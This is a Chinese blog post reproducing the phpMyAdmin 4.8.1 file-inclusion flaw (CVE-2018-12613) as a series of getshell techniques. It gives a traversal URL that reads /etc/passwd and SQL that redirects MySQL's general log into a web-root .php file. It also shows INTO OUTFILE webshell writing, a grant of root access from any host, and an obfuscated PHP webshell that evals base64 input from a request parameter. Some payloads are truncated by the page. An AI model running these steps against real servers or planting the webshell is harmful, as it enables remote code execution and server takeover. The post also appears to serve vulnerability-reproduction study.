phpMyAdmin 4.8.1后台文件包含漏洞Getshell的几种姿势

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,
通过二次编码即可绕过检查,造成远程文件包含漏洞。

受影响版本:
phpMyAdmin 4.8.0和4.8.1受到影响。

登陆phpmyadmin后台:
phpMyAdmin 4.8.1后台文件包含漏洞Getshell的几种姿势_第1张图片
访问 http://192.168.0.132:8080/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd,
可见/etc/passwd被读取,说明文件包含漏洞存在:
phpMyAdmin 4.8.1后台文件包含漏洞Getshell的几种姿势_第2张图片
一下讲解几个Getshell的姿势。

利用session文件

见:https://blog.csdn.net/qq_45521281/article/details/105780497

改变写入的日志的路径

首先,介绍两个MySQL全局变量(general_log、general_log file)

  • general log 指定日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  • general log file 指的是日志的保存路径

mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。
查看日志状态:

SHOW VARIABLES LIKE 'general%';

phpMyAdmin 4.8.1后台文件包含漏洞Getshell的几种姿势_第3张图片
当 general_log=ON 时,所执行的sql语句都会出现在 /var/lib/mysql/1e164993aaf5.log 文件。那么,如果把 general_log_file 的路径修改为 /var/lib/mysql/1.php,那么所执行的sql语句就会保存在1.php中,如果我们执行一个php小马,就可以getshell:

SET GLOBAL general_log='on'

phpMyAdmin 4.8.1后台文件包含漏洞Getshell的几种姿势_第4张图片

SET GLOBAL general_log_file='D:/wwwroot/1.php'

phpMyAdmin 4.8.1后台文件包含漏洞Getshell的几种姿势_第5张图片
如果输入不存在的路径时会报错:
phpMyAdmin 4.8.1后台文件包含漏洞Getshell的几种姿势_第6张图片
或许我们可以利用这个来探测目录结构,如果路径正确的话
这样的话在相应的目录下就会生成一个1.php,再次查看日志的状态:
phpMyAdmin 4.8.1后台文件包含漏洞Getshell的几种姿势_第7张图片
OK!!!满足要求!
将一句话木马写入1.php文件,既然是日志文件,我们select查询自然也会被保存在日志里面:
我们构造 :select ‘
phpMyAdmin 4.8.1后台文件包含漏洞Getshell的几种姿势_第8张图片
这时候相当于我们把 写入到日志 1.php中,我们尝试访问日志文件:1.php
phpMyAdmin 4.8.1后台文件包含漏洞Getshell的几种姿势_第9张图片
成功执行了phpinfo()。

还有一种方法就是一句话木马的写入:

select '' into outfile 'D:/phpStudy/www/1.php';select '';

当然,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等
但在新版的mysql中,这句话并没有运行成功,应为mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出,可以查看该参数:

phpMyAdmin 4.8.1后台文件包含漏洞Getshell的几种姿势_第10张图片
当secure_file_priv为NULL时,表示限制mysql不允许导入导出。所以爆出错误
在这里插入图片描述
要想使得该语句导出成功,则需要在mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv ="" 即可当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制(或者限制根目录:secure_file_priv ="/"),此时就可以执行导出命令,这里不再复现

附一个数据库开启外链的命令:

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root密码' WITH GRANT OPTION;

附一个SQL查询免杀shell的语句

SELECT "'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['bmjoker']));?>"

参考:https://www.cnblogs.com/bmjoker/p/9897436.html

附录:

两种getshell的姿势思想是一样的,都是靠记录我们所执行的sql语句到文件中,再包含或连接菜刀来getshell。

你可能感兴趣的:(漏洞复现)